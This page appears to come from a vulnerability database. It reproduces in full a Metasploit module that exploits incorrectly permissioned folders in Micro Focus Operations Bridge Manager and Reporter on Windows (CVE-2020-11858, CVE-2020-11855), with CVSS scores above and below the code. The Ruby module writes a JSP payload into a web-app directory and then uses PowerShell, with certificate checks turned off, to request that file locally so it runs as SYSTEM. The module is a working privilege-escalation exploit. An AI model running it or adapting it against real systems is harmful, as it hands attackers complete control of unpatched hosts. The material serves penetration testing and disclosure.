CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
72.4%
This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge Manager and Operations Bridge Reporter. An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and then access it without authentication by making a request to the OBM / OBR server. This will result in automatic code execution as SYSTEM. This module has been tested on OBM 2020.05 and OBR 10.40, but it should work out of the box on earlier versions too. Note that it is only exploitable on Windows installations.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Powershell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation',
'Description' => %q{
This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge
Manager and Operations Bridge Reporter.
An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and
then access it without authentication by making a request to the OBM / OBR server.
This will result in automatic code execution as SYSTEM. This module has been tested on
OBM 2020.05 and OBR 10.40, but it should work out of the box on earlier versions too.
Note that it is only exploitable on Windows installations.
},
'License' => MSF_LICENSE,
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
],
'Platform' => 'win',
'Privileged' => true,
'SessionTypes' => ['meterpreter'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Micro Focus Operations Bridge Manager (Windows) <= 2020.05',
{
'Path' => 'C:\HPBSM\AppServer\webapps\site.war\LB_Verify.jsp',
'Url' => '/topaz/LB_Verify.jsp',
'DefaultOptions' => { 'RPORT' => 443 }
}
],
[
'Micro Focus Operations Bridge Reporter (Windows) <= 10.40',
{
# for OBR only:
# - actually we can use any other name besides LB_Verify.jsp
# - we can also use any other folder, doesn't need to be BI, as long as
# it's reachable on the web server without authentication
'Path' => 'C:\HPE-OBR\PMDB\BOWebServer\webapps\BI\LB_Verify.jsp',
'Url' => '/BI/LB_Verify.jsp',
'DefaultOptions' => { 'RPORT' => 8443 }
}
]
],
'References' => [
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
[ 'CVE', '2020-11858'],
[ 'CVE', '2020-11855'],
[ 'ZDI', '20-1326'],
[ 'ZDI', '20-1217'],
],
'DisclosureDate' => '2020-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
])
end
# paste this here to avoid including Exploit::Remote::HttpClient, which then requires RHOSTS
def normalize_uri(*strs)
new_str = strs * '/'
new_str = new_str.gsub!('//', '/') while new_str.index('//')
# Makes sure there's a starting slash
unless new_str[0, 1] == '/'
new_str = '/' + new_str
end
new_str
end
def exploit
unless session.type == 'meterpreter'
fail_with(Failure::None, 'Only meterpreter sessions are supported')
end
unless have_powershell?
fail_with(Failure::None, 'No Powershell is installed on the host')
end
# according to /lib/msf/core/post/file.rb this is not binary safe on Windows, but we don't care, it's JSP
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
write_file(target['Path'], payload_jsp)
if datastore['SSL']
prefix = 'https://'
# Code below allows us to perform TLS requests to servers with self signed certs
# In Powershell 5.1, we can simply use -SkipCertificateCheck, but in older versions we need this
# Taken from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error
ps_cmd = %[
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
]
else
prefix = 'http://'
ps_cmd = ''
end
uri = "#{prefix}127.0.0.1:#{datastore['RPORT']}" + normalize_uri(datastore['TARGETURI'], target['Url'])
print_status("JSP dropped, calling it @ #{uri}")
ps_cmd += "Invoke-WebRequest -Uri #{uri}"
execute_script(ps_cmd)
end
end
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
72.4%